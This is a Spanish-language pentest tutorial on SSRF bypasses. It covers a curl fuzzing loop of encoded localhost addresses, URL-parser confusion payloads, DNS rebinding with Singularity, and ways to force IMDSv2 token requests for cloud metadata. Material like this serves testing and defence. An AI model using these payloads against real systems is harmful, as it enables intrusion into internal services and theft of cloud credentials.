SSRF — localhost bypasses, DNS rebinding, cloud metadata, gopher://

Respuesta rápida

SSRF en 2026 sigue activo porque la mayoría de allowlists validan el host antes de la resolución DNS y nunca re-validan después del redirect. La estrategia: IP encoding (decimal/hex/octal/IPv6) → DNS rebinding para target con dual-resolve → redirect chain a file:// o gopher:// → cloud metadata (AWS IMDSv2 con headers, GCP Metadata-Flavor, Azure Metadata: true) → service-specific gopher para escalar a RCE en Redis/Memcache/MySQL.

Encoding del host — el primer pase

El parser de URL del lenguaje server-side suele aceptar formas que el validator no contempla. Antes de payloads exóticos, prueba IP variants triviales:

Script de fuzzing rápido

for payload in 127.0.0.1 127.1 2130706433 0x7f000001 017700000001 \
               '[::]' '[::ffff:127.0.0.1]' localtest.me '127。0。0。1' 0; do
  curl -s -o /dev/null -w "%{http_code} $payload\n" \
       "https://target.com/api/fetch?url=http://$payload/"
done

Una respuesta distinta del 4xx baseline (302, 200, 500) indica que el payload pasa el filtro y el backend intenta conexión.

Hostname tricks — confusion entre validator y client

El validator y el HTTP client suelen usar parsers distintos. Diferencia entre WHATWG URL Standard (browsers, parser moderno) y RFC 3986 (parser legacy server-side):

http://attacker.com\@victim.com
       ↑ WHATWG ve "victim.com" como host (backslash = slash)
       ↑ RFC3986 parser server-side ve "attacker.com" como host

Si el validator está en JS (WHATWG) y el fetcher en Python (RFC3986), el bypass es trivial.

@attacker.com.victim.com
victim.com#@attacker.com
victim.com@attacker.com
victim.com?@attacker.com
attacker.com;victim.com
victim.com%2eattacker.com

DNS rebinding — el bypass universal contra TOCTOU

Cuando el validator hace una resolución DNS, confirma que es externa, y luego el fetcher hace su propia resolución, hay una ventana donde el DNS puede contestar 8.8.8.8 la primera vez y 169.254.169.254 la segunda.

Setup

1. Atacante controla un DNS server (rbndr.us, DNS dinámico custom o singularity de NCC Group).
2. Domain con TTL=0 que responde alternando IPs:
   • Query 1: 1.2.3.4 (público, pasa el validator)
   • Query 2: 169.254.169.254 (IMDS, el fetcher conecta)

Tooling

Singularity of Origin — framework all-in-one:

sudo singularity_server --target=ssrf-target.tld --dns-port=53
# Configura *.s.your-dns.com → IP de Singularity
# Payload: http://s-1-2-3-4-rebind-127-0-0-1.s.your-dns.com/

Por qué AWS IMDSv2 lo mitiga (y por qué falla)

IMDSv2 requiere:

1. PUT /latest/api/token (genera token de sesión).
2. GET /latest/meta-data/... con X-aws-ec2-metadata-token: <TOKEN>.

Si el SSRF solo permite GET → bloqueado. Pero:

• Muchos parsers HTTP server-side aceptan Host: header injection vía CRLF en URL → puedes forzar un PUT.
• Métodos no estándar via libcurl: curl -X PUT si la primitiva permite.
• Si el lenguaje usa libraries que siguen redirects 307 (que preservan método) y el atacante controla un servidor que devuelve 307 Location: http://169.254.169.254/latest/api/token con método PUT → token issued.